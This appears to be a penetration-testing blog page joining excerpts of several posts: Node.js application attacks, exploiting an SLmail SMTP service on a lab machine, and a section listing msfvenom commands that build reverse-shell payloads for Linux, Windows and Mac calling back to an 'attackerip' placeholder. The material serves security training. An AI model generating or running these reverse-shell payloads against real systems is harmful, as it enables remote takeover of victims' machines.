Pentesting Node.js Application : Nodejs Application Security

Pentesting Node.js Application : Nodejs Application Security

Hello folks, Today we will see how we can do Pentesting Of NodeJS Application : Attacking NodeJS Application.

As we know that Javascript is a very common and important language and also a light wight which do our most of task very easily.

But we also know that, Great efficiency comes with great risk. Node JS is a kind of server side programming language derived from JS.

According to Wiki

Node.js is an open-source, cross-platform JavaScript run-time environment for executing JavaScript code server-side. Historically, JavaScript was used primarily for client-side scripting, in which scripts written in JavaScript are embedded in a webpage's HTML, to be run client-side by a JavaScript engine in the user's web browser. Node.js enables JavaScript to be used for server-side scripting, and runs scripts server-side to produce dynamic web page content before the page is sent to the user's web browser. Consequently, Node.js has become one of the foundational elements of the "JavaScript everywhere" paradigm,[4] allowing web application development to unify around a single programming language, rather than rely on a different language for writing server side scripts.

Today we will see some of the vulnerabilities which can be exploited in Node.JS application. We will also take a look on the source code for better understanding.

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Exploiting Software Based Vulnerabilities : Attacking Network - Pentesting Network

Exploiting Software Based Vulnerabilities : Attacking Network - Pentesting Network 

Vulnerabilities exist on a particular machine can be software and hardware based. Today we will see how we can Exploit Software Based Vulnerabilities to take over target machine.

Software based vulnerabilities are nothing, but just a coding/programming error exist in a Particular software version or series. Which can be hacked/compromise using a group of malicious code called as an "Exploit".

First we have identified a SMTP service on our target machine 192.168.131.137

SLmail smtpd 5.5.0 4433 is running in port 25 

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Generating Metasploit Payloads : Creating Metasploit Reverse Shell

Generating Metasploit Payloads : Creating Metasploit Reverse Shell

Below is the different type of Metasploit Payloads we can use while to get the reverse shell of victim machine.

These exploit can be used in metasploit by using set payload "payloadnae" and before it we have to set multi handler which can be configured by use exploit/multi/handler

Mention payloads require certain inputs as an option such as LHOST, LPORT.

Operating System Based Bionaries Shell

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=attackerip LPORT=attackerport -f macho > shell.macho

Web Payloads : Usually For RFI, SQL Injection

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